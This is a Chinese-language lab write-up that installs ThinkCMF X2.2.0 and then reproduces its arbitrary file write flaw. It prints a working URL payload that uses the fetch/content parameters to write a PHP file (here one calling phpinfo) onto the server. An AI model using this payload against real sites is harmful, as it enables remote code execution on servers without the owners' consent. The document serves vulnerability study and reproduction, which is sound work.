Thinkcmf2.2安装以及任意文件写入漏洞复现
I thinkcmf安装
1.下载ThinkCMF X2.2.0 链接: https://pan.baidu.com/s/1dEJJoU9?errno=0&errmsg=Auth%20Login%20Sucess&&bduss=&ssnerror=0&traceid=
此处我使用宝塔面板来搭建网站和安装thinkcmf2.2
2.进入宝塔面板点击你搭建的网站的根目录
上传你刚才下载的thinkcmf2.2的安装包
注意
:
只能上传压缩包,上传成功后点击文件解压缩
压缩成功后点击左侧栏网站,修改网站目录,选择cmf2.2
然后点击域名
安装成功,如图
II. thinkcmf漏洞复现
0x01 漏洞概述
攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。
0x02 影响版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
0x03 漏洞利用
通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件
phpinfo版payload如下:
/?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘test.php’,’<?php phpinfo(); ?>’)
这段的意思是生成一个叫 test.php的文件,输出的是phpinfo的界面
把这个payload粘贴到网站
执行payload,页面是空白的
访问test.php,可以看到phpinfo已经加载出来
ok